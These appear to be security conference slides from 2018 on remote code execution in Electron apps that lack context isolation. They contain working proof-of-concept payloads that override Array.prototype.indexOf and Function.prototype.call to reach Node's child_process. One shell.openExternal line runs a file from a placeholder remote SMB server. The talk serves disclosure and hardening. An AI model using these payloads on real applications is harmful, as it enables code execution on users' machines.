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Electron: Abusing the lack of context isolation - CureCon(en)

Electron: Abusing the lack of context isolation - CureCon(en)

This is the slides for CureCon which was held in Berlin

Masato Kinugawa

August 18, 2018
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  1. Masato Kinugawa
    CureCon 08/2018

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  2. About me
    • Masato Kinugawa (@kinugawamasato)
    • I live in Japan
    • I Joined Cure53 in 01/2016
    • I like web, browser, JavaScript and XSS

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  3. Introduction
    • In 2016, we audited one Electron based application
    • Found RCE, ... but noticed the root cause was in Electron
    itself
    • Reported to Electron Team and it was fixed by adding the
    option called "contextIsolation"
    • I'd like to talk about it!

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  4. Outline
    1. Basics of Electron
    2. Details of Context Isolation
    3. Abusing the lack of Context Isolation

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  5. Basics of Electron
    1

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  6. Electron?
    • Framework for creating desktop applications
    with HTML, CSS and JavaScript
    • Developed by GitHub

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  7. https://electronjs.org/#apps

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  8. Basics: Process
    • Electron has two process types
    • Main Process
    • Renderer Process

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  9. Can create Renderer Process
    Basics: Main Process
    main.js
    const {BrowserWindow} = require('electron');
    let win = new BrowserWindow();
    //Open Renderer Process
    win.loadURL(`file://${__dirname}/index.html`);

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  10. Basics: Renderer Process
    It's a browser window
    index.html



    TEST


    Hello Electron!
    <br/>body{<br/>background:url('island.png')<br/>}<br/>


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  11. Basics: webPreferences
    • Settings of renderer process's features
    • Set it in main process, like this:
    new BrowserWindow({
    webPreferences:{
    "FEATURE_NAME": true
    }
    });

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  12. Basics: webPreferences
    • Important 3 features in this talk
    • nodeIntegration
    • preload
    • contextIsolation

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  13. Basics: nodeIntegration
    Decide if Node APIs are enabled in renderer
    let win = new BrowserWindow({
    webPreferences:{
    nodeIntegration: true
    }
    });
    win.loadURL(`[...] index.html`);
    main.js

    <br/>require('child_process')<br/>.exec('calc')<br/>

    index.html
    This means:
    nodeIntegration + XSS in renderer = RCE

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  14. Basics: Preload Script
    • Loaded before other scripts in the renderer are loaded
    • Has unlimited access to Node APIs
    new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    preload: path.join(__dirname,'preload.js')
    }
    });
    main.js

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  15. Basics: Preload Script
    /* preload.js */
    typeof require === 'function';//true
    window.runCalc = function(){
    require('child_process').exec('calc')
    };


    <br/>typeof require === 'undefined';//true<br/>runCalc();<br/>

    ➡Can export necessary node-features to pages
    Renderer Process

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  16. Are these settings RCE-safe enough?
    • nodeIntegration : false
    • Necessary features are exported via preload
    • Also assume that the argument is properly validated
    to prevent RCE
    ➡No RCE even if XSS exists?

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  17. Still not safe enough
    Developers should use "contextIsolation" option also!
    new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    contextIsolation: true,
    preload: path.join(__dirname,'preload.js')
    }
    });
    What is that? ➡

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  18. Details of
    Context Isolation
    2

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  19. contextIsolation
    • Added in v1.4.15 (Released on Jan 20, 2017)
    • The default is false
    • Official doc still says it's an experimental
    feature but we really need it to remove the
    possibility of RCE

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  20. contextIsolation's effect
    • Separates JavaScript context between the
    page's scripts and preload scripts
    • Separetes JavaScript context between the
    page's scripts and Electron's internal code

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  21. contextIsolation
    Electron uses the same technology as
    Chromium's Content Scripts to enable this
    behavior.
    https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc
    s/tutorial/security.md#3-enable-context-isolation-for-remote-content

    Let's compare the behavior! ➡

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  22. WebExtension's content scripts
    /* Content Script */
    window.abc = 123;
    /* https://example.com */
    alert(window.abc)//undefined
    Isolated
    World

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  23. Electron's preload scripts(default)
    /* preload.js */
    window.abc = 123;
    /* index.html */
    alert(window.abc)//123
    No Isolated
    World

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  24. Electron(contextIsolation:true)
    /* preload.js */
    window.abc = 123;
    /* index.html */
    alert(window.abc)//undefined
    Isolated
    World

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  25. Communicate under contextIsolation:true
    /* preload.js */
    onmessage=function(e){
    if(e.data==='runCalc'){
    require('child_process').exec('calc')
    }
    }
    /* index.html */
    postMessage('runCalc','*')
    Isolated
    World
    Use postMessage, like WebExtension's content script

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  26. Let's see... and?
    • The lack of isolated world is useful for developers, no?
    • because we can communicate directly...
    But it is useful for attackers also?! ➡

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  27. Abusing
    the lack of Context
    Isolation
    3

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  28. Basic idea to RCE
    An Attacker can:
    1. Execute arbitrary JavaScript in renderer
    somehow(e.g. XSS or navigation to external sites)
    2. Overwrite the built-in method which is used in
    preload or Electron internal code to own function
    3. Trigger the use of overwritten function
    4. Something happens => Achieve RCE

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  29. Attack Examples
    #1: Attacking preload scripts
    #2: Attacking Electron internal code

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  30. #1: Attacking preload scripts
    /* preload.js */
    const {shell} = require('electron');
    const SAFE_PROTOCOLS = ["http:", "https:"];
    document.addEventListener('click', (e) => {
    if (e.target.nodeName === 'A') {
    var link = e.target;
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    } else {
    alert('This link is not allowed');
    }
    e.preventDefault();
    }
    }, false);
    This code opens only http(s): links with default browser

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  31. shell.openExternal ?
    Opens the given URL using the desktop's default way
    const {shell} = require('electron');
    /* Open with default browser */
    shell.openExternal('https://example.com/');
    /* Open with default mail client */
    shell.openExternal('mailto:[email protected]');
    /* Execute exe file */
    shell.openExternal('file:///C:/windows/system32/calc.exe');

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  32. #1: Attacking preload scripts
    /* preload.js */
    const {shell} = require('electron');
    const SAFE_PROTOCOLS = ["http:", "https:"];
    document.addEventListener('click', (e) => {
    if (e.target.nodeName === 'A') {
    var link = e.target;
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    } else {
    alert('This link is not allowed');
    }
    e.preventDefault();
    }
    }, false);
    We want to pass arbitrary URL to shell.openExternal
    Let's
    overwrite this!

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  33. #1: Attacking preload scripts
    <br/>Array.prototype.indexOf = function(){<br/>return 1337;<br/>}<br/>
    An attacker injects this JavaScript code:

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  34. #1: Attacking preload scripts
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    }
    Now this code has ...

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  35. #1: Attacking preload scripts
    if (1337 !== -1) {
    shell.openExternal(link.href);
    }
    the same meaning as the following code!

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  36. #1: Attacking preload scripts
    <br/>Array.prototype.indexOf=function(){<br/>return 1337;<br/>}<br/>
    CLICK
    Click
    Now all links are opened by shell.openExternal
    if (1337 !== -1) {
    shell.openExternal(link.href);
    }

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  37. BTW: Is shell.openExternal really
    exploitable?
    • To abuse this, the malicious program is placed in a
    known path
    • We can't pass any arguments
    Do we have any ways? ➡

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  38. How about file server?
    const { shell } = require('electron');
    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe");
    Shows warning dialog.
    Hmm...

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  39. File server + .SettingContent-ms file
    const { shell } = require('electron');
    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms");
    • Matt Nelson found that ".SettingContent-ms" file can run shell
    command without warning dialog
    The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson)
    https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
    Works!

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  40. Other tricks
    • File server + .jar file (Java needed)
    • Java does not respect ADS
    • File server + mscorsvw.exe (Found by Alex Inführ)
    InsertScript: DLL Hijacking via URL files (Alex Inführ)
    https://insert-script.blogspot.com/2018/05/dll-hijacking-via-
    url-files.html

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  41. #2: Attacking Electron internal code
    • A part of the Electron itself is implemented by using
    Node.js code
    • The overwritten built-in method is used here as well
    • By triggering the use of overwritten method in internal
    code, can get access to node APIs from the argument

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  42. #2: Attacking Electron internal code
    // Clean cache on quit.
    process.on('exit', function () {
    for (let p in cachedArchives) {
    if (!hasProp.call(cachedArchives, p)) continue
    cachedArchives[p].destroy()
    }
    })
    https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d
    3ba4c5/lib/common/asar.js#L30-L36
    "exit" event listener is always set by the internal code
    when the page loading is started.
    This event is emitted just before navigation

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  43. #2: Attacking Electron internal code
    EventEmitter.prototype.emit = function emit(type) {
    [...]
    handler = events[type];
    [...]
    var isFn = typeof handler === 'function';
    len = arguments.length;
    switch (len) {
    // fast cases
    case 1:
    emitNone(handler, isFn, this);
    break;
    case 2:
    [...]
    }
    };
    if the "exit" event is emitted, EventEmitter.prototype.emit is called
    and it executes "emitNone" function
    https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231
    Note: Here is inside require('events') bundled in Node.js

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  44. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113
    Then, it goes here

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  45. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    "self" is Node's process object

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  46. #2: Attacking Electron internal code
    process.mainModule.require
    The process object has a reference to "require" function

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  47. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    So, let's overwrite this "call"
    and get access to process object

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  48. #2: Attacking Electron internal code
    Overwrite Function.prototype.call, like this:
    <br/>Function.prototype.call=function(process){<br/>process.mainModule.require('child_process').execSync('calc');<br/>}<br/>location.reload();// Trigger the "exit" event<br/>

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  49. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    Function.prototype.call=function(process){
    process.mainModule.require('child_process').execSync('calc');
    }
    calc is launched via overwritten "call"!

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  50. Attack Routes
    Attack route's examples:
    • XSS
    • Navigation to arbitrary remote sites
    • MitM
    Basically arbitrary JavaScript execution in the
    renderer + no "contextIsolation" mean game over.

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  51. Attack Routes(2)
    • Drag & Drop
    • The window is a drop-zone by default, like general
    browsers

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  52. Attack Routes(3-1)
    •Middle-click the links
    • Electron opens it in the new window by default

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  53. Attack Routes(3-2)
    • Handling middle-click is often forgotten by app
    • "click" event is not emitted
    /* preload.js */
    document.addEventListener('click', (e) => {
    /* It will not come here */
    }, false);

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  54. Conclusion
    • We should know RCE happens in default Electron
    even if "nodeIntegration" is not enabled
    • "contextIsolation" prevents RCE with overwritten
    built-in method. We have to use it explicitly because
    currently the default is false
    new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    contextIsolation: true,
    preload: path.join(__dirname,'preload.js')
    }
    });
    IMPORTANT!

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  55. Thanks!
    • Thanks for reviewing, Mario Heiderich!
    • Thanks for the opportunity to give a presentation,
    Cure53 members!

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